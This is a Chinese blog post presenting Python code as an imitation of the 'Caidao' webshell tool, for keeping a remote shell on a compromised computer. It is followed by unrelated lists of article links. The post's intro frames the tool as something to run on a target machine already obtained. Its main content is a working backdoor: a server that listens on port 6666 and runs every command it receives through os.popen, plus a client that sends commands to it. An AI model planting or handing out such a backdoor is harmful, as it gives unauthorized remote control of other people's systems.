python模拟菜刀反弹shell绕过限制【推荐】


Posted in Python onJune 25, 2019

有的时候我们在获取到目标电脑时候如果对方电脑又python 编译环境时可以利用python 反弹shell

主要用到python os库和sokect库

这里的服务端在目标机上运行

from socket import *
from os import *
s=socket(AF_INET,SOCK_STREAM)#IVP4 寻址 tcp协议
s.bind(('',6666))#补丁端口
s.listen(1)#开始监听一个队列
while True:
  sock,addr=s.accept()#返回两次 第一次返回连接地址 二 端口号
  print ('客户端:',addr)
  while True:
    cmd=sock.recv(1024)#缓存长度 接收传递过来
    cmdstr=cmd.decode()
    if cmdstr=='exit':
      print ('客户端:',addr,'关闭')
      sock.close()
      break
    result=popen(cmdstr).read()
    sock.send(result.encode())
s.close()

本机运行

from socket import *
from os import *

c=socket(AF_INET,SOCK_STREAM)#IVP4 寻址 tcp协议
c.connect(('127.0.0.1',6666))#连接地址
while True:
  cmd=input("cmd:")
  c.send(cmd.encode())#必须传递流
  if cmd=='exit':
    c.close()
    break
  data=c.recv(1014)
  print (data.decode())

总结

以上所述是小编给大家介绍的python模拟菜刀反弹shell绕过限制,希望对大家有所帮助,如果大家有任何疑问欢迎给我留言,小编会及时回复大家的!

Python 相关文章推荐
Python交换变量
Sep 06 Python
简单了解python模块概念
Jan 11 Python
Python闭包之返回函数的函数用法示例
Jan 27 Python
解决python写入mysql中datetime类型遇到的问题
Jun 21 Python
Python设计模式之命令模式原理与用法实例分析
Jan 11 Python
Python随机函数库random的使用方法详解
Aug 21 Python
使用python模拟高斯分布例子
Dec 09 Python
python实现将json多行数据传入到mysql中使用
Dec 31 Python
opencv python在视屏上截图功能的实现
Mar 05 Python
Selenium关闭INFO:CONSOLE提示的解决
Dec 07 Python
python中使用np.delete()的实例方法
Feb 01 Python
python使用pymysql模块操作MySQL
Jun 16 Python
Pandas之DataFrame对象的列和索引之间的转化
Jun 25 #Python
Pandas之Fillna填充缺失数据的方法
Jun 25 #Python
PYQT5实现控制台显示功能的方法
Jun 25 #Python
Pandas之Dropna滤除缺失数据的实现方法
Jun 25 #Python
PyQT5 QTableView显示绑定数据的实例详解
Jun 25 #Python
Pandas之ReIndex重新索引的实现
Jun 25 #Python
Python中使用__new__实现单例模式并解析
Jun 25 #Python
You might like
php 在文件指定行插入数据的代码
2010/05/08 PHP
PHP判断浏览器、判断语言代码分享
2015/03/05 PHP
Yii扩展组件编写方法实例分析
2015/06/29 PHP
php冒泡排序与快速排序实例详解
2015/12/07 PHP
PHP Oauth授权和本地加密实现方法
2016/08/12 PHP
详解php curl带有csrf-token验证模拟提交方法
2018/04/18 PHP
php简单检测404页面的方法示例
2019/08/23 PHP
jquery数据验证插件(自制,简单,练手)实例代码
2013/10/24 Javascript
多种方法实现load加载完成后把图片一次性显示出来
2014/02/19 Javascript
让checkbox不选中即将选中的checkbox不选中
2014/07/11 Javascript
Jquery效果大全之制作电脑健康体检得分特效附源码下载
2015/11/02 Javascript
Bootstrap模仿起筷首页效果
2016/05/09 Javascript
JS实现登录页面记住密码和enter键登录方法推荐
2016/05/10 Javascript
JS简单生成两个数字之间随机数的方法
2016/08/03 Javascript
JS实现title标题栏文字不间断滚动显示效果
2016/09/07 Javascript
javascript实现根据汉字获取简拼
2016/09/25 Javascript
jQuery中delegate()方法的用法详解
2016/10/13 Javascript
解析Vue2.0双向绑定实现原理
2017/02/23 Javascript
Bootstrap超大屏幕的实现代码
2017/03/22 Javascript
老生常谈js数据类型
2017/08/03 Javascript
Vue v2.4中新增的$attrs及$listeners属性使用教程
2018/01/08 Javascript
详解Nodejs内存治理
2018/05/13 NodeJs
用Vue编写抽象组件的方法
2019/05/06 Javascript
[45:52]2018DOTA2亚洲邀请赛 4.1小组赛 A组加赛 LGD vs Liquid
2018/04/02 DOTA
Python设计模式编程中解释器模式的简单程序示例分享
2016/03/02 Python
Random 在 Python 中的使用方法
2018/08/09 Python
windows环境中利用celery实现简单任务队列过程解析
2019/11/29 Python
解决pyshp UnicodeDecodeError的问题
2019/12/06 Python
h5使用canvas画布实现手势解锁
2019/01/04 HTML / CSS
杭州-飞时达软件有限公司.net笔面试
2012/04/28 面试题
电子商务专业学生的学习自我评价
2013/10/27 职场文书
口腔医学技术应届生求职信
2013/11/09 职场文书
《雷雨》教学反思
2014/02/20 职场文书
企业办公室岗位职责
2014/03/12 职场文书
素质教育培训心得体会
2016/01/19 职场文书
Python实战之OpenCV实现猫脸检测
2021/06/26 Python